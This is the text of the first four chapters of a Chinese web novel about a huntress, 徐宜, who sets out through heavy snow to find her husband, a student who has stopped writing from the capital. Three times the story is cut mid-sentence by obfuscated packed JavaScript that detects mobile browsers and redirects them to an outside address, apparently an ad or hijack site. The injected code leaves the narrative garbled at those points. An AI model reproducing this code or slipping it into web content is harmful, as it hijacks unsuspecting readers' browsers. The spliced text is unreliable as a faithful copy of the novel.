《我和夫君被拆散了》 1. 天落雪 永光十一年,司州槐里,天落雪。砚山脚下,三两人家屋顶盖上一层雪。 只是那些房屋落败,枯草恒生、断壁残垣的不像是会住人的屋子。夜幕下,就一处人家还点着亮,看着有点人气。 远远地还能听见里面金属相撞的声音,清脆而突兀。像是主人在捣鼓着什么刀剑、斧头之类的器具。紧接着便是略显有些急躁的脚步声。 “啪——” 纸糊窗户没有掩紧,露出一条斜长的缝隙。风吹着它吱吱呀呀地响,不一会儿就被人无情地“啪”的一声给关上了。 即便动作迅速还是吸了口冷气,徐宜关上窗户之后,打了个寒颤拍拍手转身继续收拾行李。 屋中陈设简单、实用,几张桌椅一张床。书架摆在墙角,上面没放几本书。此外屋内再无别的累赘。 ——只是桌上搁着许多刀,长的短的、窄的宽的都有。墙上还挂着不少长弓和貂皮。 如此一来,那几本书倒算是屋中唯一的雅致了。 桌上放着一盏暗灯,发着微弱的光。徐宜站在桌前有一会儿,看着那些刀发愣。 漆黑的眸子里映着灯火,目光垂落,灯火也跟着散开。少女生得灵动妩媚,眉目间却有一股隐隐的戾气。 她随手拿了几把,掂了掂刀柄,随即又放下。她有些犯难。 ……选哪一把? 桌上的刀实在有很多。 这些都是她的夫君——言家三公子送的。 她一向喜欢刀,言三就找乡里的铁匠为她打制了许多把。 徐宜是个猎户,不大能识字。但她的夫君却是个才学过人的书生,如今还去了太学读书,槐里的人都说他大有前途。 他去到京中求学之后,寄回来的东西就不只是刀了,还有各种首饰衣裳、银钱和信件。 打制一把刀的价钱不高却也不算低,京中时兴的首饰更是贵得很。 况且言三几乎是月月来信。 徐宜不喜欢识字,更不喜欢看信。于是她就提笔回了封:不要信不要乱七八糟的其他东西,银子即可。 他倒是性子温和,回了封:好。此后寄回来的包裹中装着沉甸甸的许多银子,当真再没有其他的东西了。 这倒令徐宜有些愧疚。她写给他的信上有错别字,“乱七八糟”这四个字他原先教过她,但她忘记怎么写了。他去京中之前就嘱咐她好好在家中读书写字。她原本以为他会严厉地指出来,结果他就回了个“好”字。 但她几乎能想到他无奈的眉眼和微微向下的嘴角。 每次她偷懒耍滑的时候,他不会说她也不会让她抄书,只是无奈地看着她不说话。明明知道他是装的。但她偏偏吃这一套,每次都服软,这次自然也不例外。 再以后他又开始写信,再和银子一起寄过来,一年来从未间断。包裹中时不时的还会掺杂些短刀和首饰。 信上的字迹规整漂亮,用词也没有当初那般晦涩了,是徐宜能够轻松看懂的程度。久而久之,她就习惯了。 可在十月的时候,言三突然断信了。可他还是在往家中寄包裹,里面全是些白花花沉甸甸的银子。 起初徐宜很开心,想着自己的夫君既有出息又顾家。可慢慢的这种喜悦感就变成了慌张和不安。 于是她找出尘封已久的笔墨纸砚,再笨拙地拿起笔,为他写信,问他为什么不写了。那是她写过最长的一封信。她查阅了家中的一些他未曾带去京中的书,才写出来。 之前他噼里啪啦写了一大堆,例如京中有了什么时兴的衣裳糕点玩意儿,他都写在里面。这些恰恰是她最感兴趣的。不过她忙于打猎畜养,又不精于写信,也懒得写,便只回个“好”字。 所以她才以为是自己未曾给他回应,又或者是给他的回应太少了,他才不写信了。 但她后面发觉他不是在生气,而是被监视了,以至于他无法写信。或许那些银钱都不是由他亲自寄来的。 她胆战心惊许久,总算打点好家里的一切准备去京中寻他。但却在这个时候收到了一封言三送来的信。信上的口吻非常谨慎、冷淡,像是他在被监视的情况下写的。 上面没有之前他所写的京中的新奇事儿,也没有透露关于他现在的任何生活起居情况,只有一句话:一月中旬来京中见我。 字迹熟悉,落款仍是知名不具,是他夫君惯有的风格,并非伪造。 徐宜看完这封信不敢轻举妄动了。夫君既然未曾透露他在京中的情况,那便是时候未到又或者是他说不出口。 无论如何,言三是不会瞒她的。她不清楚京中的状况,贸然去往京中恐怕还会招来不必要的麻烦。 他既告诉了她时间,就是知道她莽撞冲动的性子,还希望她不要贸然动身。 “呼啦啦”的一片响。 窗外的风太大,纸糊的窗户又被吹开了。 徐宜回过神来,灯火葳蕤着摇晃,她不知站了多久,就连握在手中的刀柄也有了温度。 可现在正是十二月初,恰恰也是京中的太学生们回家的日子。今日她在砚山脚下望了许久,天黑了她也却未曾见到她夫君的身影。 其实在他寄来那封信的时候她就隐隐预料到言三不会再回来了。 当晚,徐宜就跑去找闻人娘子,想去问问她夫君闻人执关于言三的情况。可他见了她就道恭喜,接着又说言三受了贵人的赏识,过得可谓是如火如茶顺风顺水,连京中的权贵们都艳羡得很。 贵人。哪个贵人?她只在言三的信中看到过他的老师,再没有其他的人了。 她还想继续问闻人执到底是哪个贵人,可他却支支吾吾地不肯说,闻人娘子素来不喜欢她,见此景就将她给赶了出来。 她再去问了邻乡的几个太学生,他们都摆摆头说自己专攻学业并不知晓言三的事。这一来她的心里是愈发慌张了。 京中的水尤其深,还会裹挟着推着人变得面目全非。她曾领会过,就连她之前喜欢的少年也是因为这个而放弃她的。 她从邻乡回来之后就开始捣鼓家中的刀剑弓弩,想收拾行李去京中。但却因为那封言三寄来的信有些犹豫。 又是“呼啦啦”的一片响。 徐宜转身走到窗户前,干脆撑起窗户。 外面的雪色一水地泼了进来,屋内恍若天亮。槐里还未曾下过这样的大雪,砚山上下全都是白茫茫的一片。 言三不记得他的过去,可能也未曾看过这样的大雪。 她的夫君是言家最不受宠的三公子。言家起先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15142395|164543||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是个士族,近年来却越发落魄潦倒。如此一来,他在言家的日子就更不好过了。 徐宜呵口气让自己暖和点,仰头看着远处。 槐里乡的人都说她找了个好夫君。姑娘家嫁人可不能只图夫家的门第、钱财,更要看的是这夫君的品性以及他到底会不会爱人。 她是个孤女,是被姨父家收养长大的,家中并不富裕。所以即便是嫁言家这样的夫家,她也算是高攀。沈大娘就曾说她算是将夫家的好处全给占尽了。 言三不仅长得好看、性子温和,为人处事也颇有世家公子风范,最是懂得礼法。更重要的是他对妻子的体贴和照顾,槐里乡的众人都看在眼里。 但徐宜却不这样想。她愣着身子坐在窗前,看着外面打着旋儿的雪。 她喜欢言三却也害怕他。 一个人若是没有过去,也不会有未来,或许就像不知所从的飘雨一样。 这样的人若是想抓住点什么就会拼了命地去抓,若是他想放弃了,那就像打落在地上的雨点一般,会消失得无影无踪。 “阿嚏——” 风又大起来。徐宜赶忙关上窗户,踱步回到桌椅边,摇摇头想甩掉脑中不好的想法。 她觉得自己的脑子肯定被冻坏了。夫君对她那样好怎么会一声不吭地消失呢? 况且直到现在他还一直寄银子回来。 她就此事问过沈大娘,沈大娘对她的顾虑一脸不屑,“娘子,言三那时对你的好算是有目共睹的吧?他算是我槐里乡的最好的夫君了,这你还担心什么!银子在哪爱就在哪,不就不给你送信了嘛、不就不回你信了嘛!男人在外读书又累又忙,可能还忙着京中权贵们的应酬,这是正常的。况且他给你送的都是些真金白银哪!徐娘子,我一把年纪了,还能体会到他对你的爱嘞!” 徐宜对银子的喜爱,仅次于刀。言三或许正如沈大娘所说的那般并没有变心,也并没有抛弃她。 她强迫着镇定下来,又下意识地玩起桌上的短刀,摩挲起刀面。 先想言三最近寄回来的那封信罢,她每夜都要在心中念个百遍: ──一月中旬京中见。 一月中旬。为何偏偏是一月中旬?是有什么特殊的含义么?但她不敢将此信拿给其他人看,因此只能自己揣摩。 他的同僚闻人执说他是遇上了贵人,得了贵人的赏识才不在太学中。她也只知晓这些,再不清楚其他情况了。 若是他当真遇上贵人,不会不写在信上讲与她听。可言三没有。 或许这个所谓的贵人监视了他。她是这样猜的,也只有这样才能说得通。 不然闻人执和那些太学生不会对此避而不谈,人都是趋利避害的,没人想因为一个“好脾气”的言三得罪京中的权贵。 她那性子软的夫君抵不过权贵们的压迫,或可被关押在牢狱中。最坏的可能是他无意识之中得罪了权贵,现在正受尽折磨,不想让她担心才送回银子。 或许一月初正是他被处死的日子。 徐宜不敢再想。 “吱呀”一声,她一股脑地站起来,握紧手中的刀柄。 她不想再等下去了,她要去京中见一见她的夫君。想看看他是否受到了监视,想看看他是否安然无恙。 2. 天落雪 徐宜推开门,簌簌的雪扑面而来。她带了一顶青箬笠、腰间配好刀,还怀揣着一个灰布包裹,手中提着两大袋猪肉,准备去向许大爷借马。 屋子旁侧的马厩中传来“嘚嘚”的马蹄声。她闻见此声耷拉下眉眼叹了口气。 接着她走进马厩,将那匹嘶鸣着的马牵了出来。 ──那算不上是一匹完整的老马。它断了只腿,还瞎了一只眼。 浑身棕黑色的毛发柔顺,唯独那断腿的地方不生毛发,甚至结上了冰碴子,带着点红色,似乎正在渗出血迹。 “你又将布条给踢掉了……”徐宜只好蹲下身去,再取出布条为它系好。绑完之后马儿低头蹭了蹭她的头,她无奈地笑说,“我要去京中了,你就在沈大娘家罢,待到一切都完了我会回来接你。” 每年冬天它的旧伤口都会复发,寻遍司州的医者都无法根治。这年的冬天更冷,它腿上的伤口愈发严重,开始发痒并且缓慢地渗出血迹。 马儿哼出一声,有些闷。徐宜牵着它走,看得出它难受,又补了一句,“不会很久的。我开春就能回来接你。” 清早晨雾弥漫天际,槐里到处都是白茫茫的一片。一人一马走在雾中,浑身上下也是湿漉漉的一片。 走过砚山山脚下蜿蜒的一条小路,就到了沈大娘的家中。 徐宜将马绳拴在一旁的栅栏上,马儿有些焦躁,她轻声道,“等会就不冷了。” 她再扣响屋门,里面窸窸窣窣的传来脚步声,不一会儿就露出张有些市侩的脸来。 “谁啊?”沈大娘许是刚睡醒,可见到她手上提着的猪肉顿时就喜笑颜开,“哎,这不是徐娘子嘛,今个儿什么风将你吹来了?还带了东西,这不是见外嘛,快进来坐、快进来坐。” 沈大娘早年丧夫,后面未曾再嫁。槐里乡的人都说她性格古怪市侩并不喜她。徐宜合上门弯眼笑说:“猪肉只是晚辈的一点小心意。”接着她又从布袋中取出一些银两。 沈大娘嘴都咧到耳际了,“哎呀,看来平时没白疼你这姑娘!说罢,有什么忙要帮?是要我到京中去将那言三给你逮回来还是替你物色个新夫君?” “……我想要您帮我照顾一下家的马匹。”徐宜清清嗓子,边说边将银子放到了她的手心上。 “你要离开槐里,”沈大娘看了她一眼并没有半分惊讶,掂了掂银两的份量,然后只是笑,“司州俊俏的公子倒是不少,你看中了哪位,是邻乡的吗,有言三顾家吗?” 徐宜眨眨眼很有些无语,“不是。我没想和离,也没想找新夫君。我只是想去京中找找言三,问问他。” “当啷”一声,手中的银两滚到地上。沈大娘这下不笑了,只是定定地看着她一言不发。 徐宜觉得沈大娘有些怪异,她明明跟她一样很喜欢银两,此时却漠不关心。徐宜想倾身去捡,沈大娘在此时开口了:“……你当真要去京中找言三?” 徐宜点点头。沈大娘有些不解,“他不是还在往家中寄银子回来吗?等到他不再寄了,你再去京中也不迟哪……” “京中的水深,那些人又坏得很。你说你这姑娘图个什么呢……”沈大娘还在后面喋喋不休。 “不用了,我还是想去看看。”徐宜走到门前,“还拜托大娘您帮我照顾马匹。” 打开屋门,外面还是呼啸的风声。徐宜将马儿牵进沈大娘的马厩中才离开。 沈大娘的反应古怪得很,但她来不及慢慢询问了。她还得去向许大爷借马,晚了或许就借不上了。 - 来得正是时候,许大爷正打算去槐里乡的集市上赶集。徐宜借到马匹后就走上了前往京中的路。 槐里乡坐落在司州的西南边上,而京中则是在交州的中心。司州与交州离的远,即便驱马乘车也需得七日才能抵达。 况且这样迅猛的风雪,没有出行经验的人很容易迷了途,往些年就曾出过好些事故。 徐宜的方向感一直不好,她在山中打猎的时候就曾迷过路。她以为自己会冻死的时候,言三来了,那时他的眼神沉得吓人。他将她带回家之后,换了衣裳也温了姜汤,极尽细致温柔地照顾她,没有半分责怪,她便以为他不会怪人。但以后下大雪的时候,他再没有让她进山打过猎。 她害怕走错了。交州和司州离得并不近,京中和槐里更是有七日的路程。若她当真错了方向,时间就会耽搁下来。毕竟现在已是十二月末,离一月不远了。 大雪掩埋、封山,根本无法辨识去往京中的路。她只能凭着感觉走。 青蓝色的布匹几乎包裹住她的全部头发和脸颊,只剩下一双清凌凌的眼睛,里面带着些许显而易见的慌张和燥意。 徐宜驱马一刻钟,她在漫天白雾中隐隐约约瞧见了一个驿站。 驿站中传来若有若无的人声和碗筷碰撞的叮当声,她悬着的心才安稳下来。 幸好没有错。 她停马在驿站中歇了会儿。驿站中多是来来往往的官员和商人,他们在饭桌上喝着热酒,又面带红晕地说着大话。 一切都正常,并未有什么不妥。 只是在她进来的时候闻到了一股浓烈的异香味,像是燃在金属烛台上的线香,还带着似有若无的铁锈味。 但只闻到那么一瞬。像是有人故意掐灭了灯火一般,那浓烈的香味一下子就消散了,仿佛从未出现过。 徐宜心中想着去往京中的开销和路线,便无心顾及此事,还以为那只是自己昨夜没睡的错觉。 喝过热酒、吃过饭菜后,她出了驿站骑上马准备继续赶路。 走了有一会儿,她才发觉自己的嘴里多了股铁锈的味道,握住缰绳的手也在隐隐作痛。 摊开一看,原是手上的纹路都开裂了,密密麻麻的全在往外渗出血珠子。 她舔了舔唇,又尝到血味,才知道是自己的唇瓣干裂出血了。因为嘴巴被冻得没有知觉才没有察觉到此事。 但此处风雪太大,她停不了。顾不上疼了,还是赶路要紧,徐宜驱马继续前行,将风雪声和人声都抛至身后。 马蹄在雪地留下的印迹不一会儿就被新雪掩埋,风雪也将她的身影给吞没。 但在雪色中,她的眼睛越来越疲惫,意识也越来越虚无。她想着五日之后就能抵达京中, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15142396|164543||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也能进入太学。 若是闭上眼睛再睁开的话,应该就能看见自己夫君温柔好看的眉眼。 直到她睁开眼睛,看见的是自家的天花板时,这场梦才醒。 收到言三来的信、日夜打理家中事,再驱马赶往京中…… 好像只是一场梦一样。 可周身的冰冷和疼痛却在告诉她,这一切都是真实的。她的确去了,但没去成。 “言家娘子!你总算醒了!”徐宜循声望去,艰难地转过眼睛,才看到站在床边一脸担忧的沈大娘。 “……我这是怎么了?”徐宜挣扎着坐起身来,沈大娘赶忙扶住她,念念叨叨地说,“哎哟喂!徐娘子你可别再闹腾了,我跟你说过就在家里等着言三自个儿回来,你去寻他做什么哪。” 徐宜愣了会儿,再问:“我记得我到了驿站的,那就证明我的方向没错。如果方向没有错的话,照理来说驱马五日就能抵达京中,为什么我还会在家里呢……” 沈大娘见此景颇有些恨铁不成钢,“你都这样了,还想着此事!那个言三恁地有什么好?” “谢谢大娘关心,我只是想知道怎么回事。”徐宜皱眉想着驿站中发生的事。 她喝了热酒也吃了饭菜。只是驿站中的其他人明明也与她一般,他们为何没事?应当不是酒菜的问题。 那是……驿站中那股莫名的异香?那股香味太过短暂了,像是刚燃起就被掐灭一般,以至于她无法记起它的气味。 沈大娘见她这副神色,也正经起来,“是槐里乡中过路的樵夫们看见你的。他们说发现你的时候你已经被风雪给埋住了。幸好时间还不算长,你也还没有断气,不然哪,谁都救不回来你。” “还有你的手是怎么回事?言三那时也是双手尽绑个白布条,我就奇了怪了,他是手上有哪里见不得人的地方吗?”沈大娘轻嗤一声,恨恨地道:“也是,那样的负心汉想必哪个地方都见不得人。” 徐宜疑惑地垂下眼,然后看向自己的手心。上面却绑满了白布条,她连忙咬开那个死结,似乎想要证明什么。 “你做什么!”沈大娘急忙制止她,“我昨天刚绑好的……” 徐宜不听。死结被咬开,手心上面全是密密麻麻的伤痕,它们虽已结痂,但极为醒目。原本她打猎干活手上也有不少茧子,这些伤口更是显得她的手面目全非。 但这些也证明了她的确出了槐里乡,去过驿站。只是她的确不记得自己为何走着走着就晕倒了,以至于差点死去。 脑子昏昏沉沉的并不清醒,但她越看,越觉得自己手上的伤口熟悉。仿佛她就在哪个人身上看到过。 言三那时也是双手尽绑个白布条,我就奇了怪了,他是手上有哪里见不得人的地方吗? 徐宜倏地抬头,恍然间明白了什么。 ──是她的夫君。 她的夫君常常会用白色的布条将手缠住,或者带好手套,不论如何都不会把他的手给露出来。起先他也不会告诉她理由,是她问了多遍才知道的。 他的手上也布满这样的伤痕。只是相比起她的,更多、更密,显得更为狰狞。 3. 天落雪 徐宜被大雪掩埋了半刻钟。她的双腿被冻得出现了大块的红痕,以至于不能走路不能进山打猎,只得在家休养。这对她来说倒是难受得很。 她蔫着一张脸坐在床头,捧着本书看。长发披散在灰色里衣上,她不说话脸上便没什么表情,整个人单薄得很,仿佛不存在似的。 “你整天臭着张脸做什么!老娘可是专门来伺候你的,我可不想天天看到你这副样子。”沈大娘正在挤帕子抹书架,时不时地转过头说她两句。 这几日沈大娘常常来。徐宜的腿冻伤需要静养,不能久站,所以她雇了沈大娘来照顾自己。 徐宜听了此言,平静地道:“书架上有一个小盒子,里面就装着银两。大娘若是觉得不够我们还可以再做商量。” 沈大娘不说话了,她默默地擦拭书架、桌椅,半刻钟后她又递了杯热水给徐宜,却瞧见她在读书。 “不是大娘说,你好好的病不养,看什么书认什么字?”沈大娘一把抢过徐宜手中的书来,低头看清书名却脸色大变,“……你学习许朝的律法和官员体系做甚?” 沈大娘不可置信地道:“你还要去京中找言三?这次的教训还不够吗,要不是那些樵夫你早就死透了!” 徐宜没有想到她的反应这么大,她闭了眼再睁开,点点头。 “你这姑娘真是死心眼。”沈大娘叹一口气,继续说:“十二月底是京中太学放假的日子,司州所有的太学生们都回来了,就你的夫君言三没能回来。你还不懂这是什么意思吗?他朝家里不断地寄银子回来却又不肯写信,这说明他心里有鬼!说明他在京中有了新爱!但又因为愧对于你才寄些银子回来……” 窗外的飞雪又簌簌地掉落下来,徐宜拿回沈大娘手中的书,掖了掖被角笑道:“他不会的。” 这落在沈大娘眼里就像是在无奈苦笑了,她心疼地看着徐宜,一本正经地谋划起来。“先前是大娘不愿伤了你的心,只是这京中乱花迷人眼,言三虽然在槐里的时候对你好,可到了京中那样的环境到底是会被影响的……你听大娘的,现在少帝即位京中并不太平,他不是还在向家中寄银子吗?咱先收下,等到太平些了再去京中将他给休了……” 徐宜绞着头发玩,蓦地听闻此言便问道:“大娘,京中不太平是怎么了,京中发生什么了?” “这我哪知道,只是听那闻人娘子说他的夫君刚回来不久就被匆匆地给喊回去了,说是少帝即位需要太学生写些什么东西。历来皇帝即位都少不了一场腥风血雨,所以我才想京中不会太平。”沈大娘末了又补一句,“也不是因为发生了这件事,前些年不是还有那北方的戎人进犯许朝的边境吗?反正京中一向不会太平。” 徐宜静静地默了片刻还想再问,屋门却被扣响了,在风雪声中仍是突兀地响。沈大娘忙起身去开,一个中年男人走了进来,身后还跟着一个瘦瘦高高的像竹竿一样的女人。 男人生的俊俏却不修边幅,下巴长满了胡渣子,头发都是被浇湿的,他进来之后往屋里四处打量。女人也是美的,颈间、腕上都带着金饰,显得媚俗。但她缩住脖子眼睛四扫又显得小家子气。 徐宜愣了下,敛眉喊:“姨父,姨母。” 沈大娘见了来人却没什么好脸色,啐道:“你们来干什么!” 男人是远近闻名的猎户,名叫徐鸣。徐宜打猎的技术就是向他学的。他扫了徐宜几眼,率先开口了:“这个月的银两呢,怎么不来给我们?” “是啊小宜,近来风雪这样大,冻死了不少庄稼,也封了山。你姨父根本不敢进山打猎,你哥哥在京中的开销也不小,这一切还得靠你了。”女人姓王,家世本不错但后来落魄了,是徐宜的姨母。她抚了抚发丝,紧跟其后地这样说。 徐宜十二岁由姨父家收养,因为性格孤僻不得人喜欢,但她也心存感激。只是在她十五岁的时候也就是去年,县令公子物色上了她,姨母图司州县令家的彩礼和权势,便想将她嫁过去为妾。那时恰逢她的表兄,徐家的长子考进了太学。 她那时的托词也与现在一样,握住她的手可怜兮兮地说:“你表兄总算有了出息入了官场,只是我们家穷了不少,只得靠你赚些钱来供他读书了……” 但后来徐宜才知道,她平常大雪进山打猎时赚的钱都没有寄入太学寄给表哥手中,而是被姨父姨母两人自行消受了。 “我呸!”沈大娘没好气地啐了一声,“去年你们卖女儿的时候怎么没想到有这样乞讨的一天?” 徐鸣横了沈大娘一眼,沈大娘自也毫不示弱地回瞪,气氛显得有些微妙。女人笑嘻嘻地劝说:“县令公子那般俊俏有为,将小宜嫁过去怎能称之为‘卖’?我真是冤枉哪。历来都是父母之命媒妁之言,小宜虽不算我们的亲生女儿,但自永光五年收养她以来,我们便将她当作了自己的女儿在照顾,可就婚约这件事她到底是违背了我们的心意,最后才闹得这样不愉快,但这是一码事,我们不怪她。只是女儿赡养父母是天经地义的事,她这总不能够推脱掉吧。” “你有本事再说一遍?县令公子是有钱有势,但他是要聚徐宜为妾,你这当母亲的……”沈大娘还想再骂,徐宜却温言打断她,朝那女人说:“姨母,不是我不想给。最近我得了不好的疾病,这病严重得很、更会传染于人,所以才不好去叨扰你们两位。但我又实在觉得,遣人送来银子没诚意,所以这就暂且搁置下来……” 两人霎时脸色大变,都恍然看见徐宜躺在床上披着个单衣瘦弱得很。前些天乡中还有些风言风语说言家三公子要休掉她,看来都与她身上的疾病有关。 “那你先好生休养。家中的猪还等着去喂呢,我们就先走了,银两的事不用着急,你明日遣人送来就行了。”两人说着就迅速地合上门离开了。 “让大娘您看笑话了。”待到两人走了,徐宜又捧起书本来看,目光一错不错的很是认真,只是脸色有些发白。 看来她的姨父姨母对她这样冷漠功利,尽想着从这个便宜侄女儿身上吸血,她那样无所谓,但其实也并非毫发无伤。 沈大娘看得心疼,她也不愿再去问、也不愿去阻拦了。这姑娘很有主见,脾性也倔,决定了的事就更改不了。但她还是太倔了,总是要等到别人亲口告诉她已经明确抛弃她了的时候,她才会死心。 - 十二月末,腊八节。离言三那封信约定好的时间还有着半个月的日子。够了,完全够了。她腿上的伤用不了几日就可以完全恢复,现在她已经能自在地走路了。 她的夫君还是照例在往家中寄银子,不管是不是言三寄回来的,这都意味着他还没有遇到什么致命的威胁。 徐宜捧着本书坐在炕上,刚展眉笑起来就因为想到了什么而愁眉不展了。 她撞上了一个非常现实的问题,没银子了,或者说短时间内挣不了那么多钱。 槐里到京中的路蜿蜒曲折、并不好走。因此并不能乘车前行,只能驱马去京中,所以驱马的费用较乘车更加高昂。 而最近,她的开销可不算小: 她先是给了救她一命的樵夫、照顾她的沈大娘、收养她长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15142397|164543||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大的姨父姨母、借给她马匹的许大爷许多银子,再就是近来司州砚山的寺庙里来了一位神医。 这位神医专治马匹的各种疑难杂症,在九州内都是极为有名的。他游历各州奇山总算到了砚山,沈大娘前几日来告诉了她。她便牵着自己伤残的驽马亲身去拜访那位神医,他起先怎么都不松口,说自己若还有行医治病的德行、就决不医治驽马。人为五斗米折腰,是徐宜给他送了白花花的许多银子,他才答应下来治一治。 当然徐宜也足够庆幸,那位神医能为五斗米折腰。司州大部分的兽医不是治不好她的马匹,而是都不愿意救治它,因为她的马是匹驽马。 自那日之后,她的身家算是没有了,一穷二白一身轻松潇洒,沈大娘看得那是相当肉疼,回来的路上一直念念叨叨着:“那什么神医啊,这么坑银两。早知道就不告诉你了,坑百姓银子的肯定不是什么神医……” 沈大娘说着说着竟还笑了起来,打趣她说:“你现在可真是肆意潇洒的‘女侠’了,少了人世间的红尘羁绊。” 而后她又哭出声来,最后竟是哭笑不得,“夫君跟人跑了、钱又没了,小宜哪,你真是过得凄惨啊……” “大娘,我也这样觉得——”徐宜那时候也苦笑着这样说,“只是我夫君应当还没跑罢……” 柴火的“毕剥”声响起,徐宜的神思回过来,她将脑袋埋入被子里呜呜咽咽了几声,痛骂自己几句。 一月初她就要去京中了,司州到交州的路费很昂贵,况且她又要借马匹。但她现在身无分文,哪里能有那么多钱呢? 但之前她明明是有的。她打猎、畜养赚到的银子都是可观的,言三也在不断地寄银钱回来。 “徐宜,你好败家啊。”这句话有点落寞,像是在谴责自己没好好挣钱怠慢了打猎,只靠言三寄来的银子坐吃山空。 京中或许真的如沈大娘所说的那般迷人眼,言三算是入赘她家,原本也只是个穷书生,还是靠她卖牛羊、打猎挣来的钱供他进入太学的。但现在他去太学不过短短一年,一次性寄回来的银子就比她半年赚的要更多些。 但那么多银子她都给用完了。 她痛苦地埋头,“你真的好败家啊……!”这句话的声音弱弱的,她若有所思地念起来,想着还有没有其他的办法挽救回来,不仅要挣钱还要挣快钱。 偷鸡摸狗、重操旧业?徐宜断然地摇摇头,她已经彻底地改过自新了,而且那时候还是逼不得已。 借钱?脑海中闪过这个念头,她一下子坐起身来,露出一双燃起希望的眸子。但转而又灰败下来,在槐里她都没什么朋友还怎么借嘛。 算了还是老老实实去打猎卖猪肉罢,只是她圈养的那些牛羊、猪都还没有长肥,现在卖怕也是挣不了多少钱。 徐宜这几天憋得快要喘不过气来,沈大娘说她长得像自己死去的女儿,娴静又温柔,肯吃苦耐劳。所以沈大娘在的时候她便不好意思闹情绪。 “哎——”徐宜大大地叹口气,但也只是颓败了那么一会儿,她就翻开旁边的书认真学习起来。 要去京中重要的有银两,还要有一些学识,特别是一些律法知识和官员体系。大许王朝官官相护严重,且以春秋之法治国,刑罚相当严苛。 翌日一早她就爬起来去砚山打猎了,却被闻人娘子的夫君闻人执给拦住了。 她挣钱的事刻不容缓,打算闷着头继续往前走,谁知闻人执却说出了一句石破天惊的话。 “言许要我带信回来,看他那样子,像是要与你和离。” 4. 天落雪 这天没有再下雪,槐里的天还是阴沉沉灰暗的一片,但这也已经算是十二月以来天气最好的一天了。 徐宜刚从城里回来,她在当铺里忍痛割爱、当掉了不少的刀。现在她背着弓箭,腰间又配一把短刀,走在前往砚山的路上,想着进山打猎。 但她却没想到砚山脚下有那么多人。也是,砚山脚下有一口清潭,常年不结冰层,潺潺的水常年流动,算是槐里乡的奇观,被当地的乡民们称之为“春潭”。 连下着一月的雪,众人在家中都待得闷了。现下正一堆人站在那春潭的边上,有年纪稍长些的大婶大妈,也有些妙龄女子,她们正你一言我一语地笑着说话。 她看见了沈大娘,也看见了一向不喜她的闻人娘子,以及站在她身前的夫君闻人执。 他怎么回来了?沈大娘不是说京中少帝即位,太学生都被叫回京中了么…… 她心中生起阵阵疑惑很想直接上去询问,但言许如今的处境估计既危险又敏感,上次他不说便是有他自己的难处,这次她不想在那么多人面前为难他。 但这次闻人执的神情却跃跃欲试,最后竟是直接将她给拦住了。“徐娘子,能否借一步说话?” 徐宜一怔,看向他身后的闻人娘子,闻人娘子冷淡地看了她一眼,随后再避开目光。徐宜见此状就点点头,闻人执带着她去了离人群稍远些的地方。两人走后,人群里起先微弱的喧哗声才渐渐地大起来,并且愈发张狂。 “哎,闻人娘子。那言家三公子当真是将那女猎户给抛弃了?“穿着蓝色衣裳,一脸疙瘩的卫妇人好奇地问道。 “当真?”不待闻人娘子说话,许大婶就抢过话头,她鼻头大,从鼻孔里哼出两道粗长的气来,又说起,“我说罢,两年前我就看不起这桩婚事,你们也且说说罢!一个孤僻怪异、整日鲜血染身的女猎户怎么配得上一个金相玉质、温润如玉的公子?” “况且两人的门第也不相配,那徐宜只是个孤女,被她的姨父好心收养,最后却恩将仇报。”一个穿着淡紫色织锦衣裙的年轻女子柔柔地说,语气听上去有气无力的,脸色也苍白。 “言家再怎么也算是个士族,言家的三公子更是才学过人,也是天人之姿。这样的天差地别的两个人,怎么可能长久地在一起?” 许大婶点点头,“卫姑娘说得在理啊。” 沈大娘实在是听不过眼,她一拳打在身旁妇人的身上,骂了一句,“在理个鬼!” “是啊是啊——”众人没听见,都是一水地表示赞同。只人群中弱弱的有个声音反驳道,“……可我听说是言家三公子主动求娶的那位徐娘子呀!初开始徐娘子还不同意,是那公子死缠烂打,她才点头答应的。” 卫姑娘嘴角的笑意霎时止住,她两步就走到了方才出声的那位女子身前,冷笑几声才说道:“这位姑娘可不要听风就是雨,言家公子怎会去求娶一个普通的猎户?你们要是不信的话可以问问闻人娘子,她的夫君不是带回来了言家三公子的口信吗?” 众人又将目光投向站在人群之外的闻人娘子,期待她能给出她们想要的回答。 谁知那身姿窈窕的闻人娘子轻蔑地扫了她们一眼,嘴角弯起笑说:“依徐娘子那样脾性,谁抛弃谁还不一定呢。” “……” 见闻人娘子讨论这件事的兴趣缺缺、冷淡得很,众人便纷纷收回目光,纷纷开始说起其他的事。那卫姑娘赌气地跺了一下脚,却倒吸一口冷气脸色变得更白了。 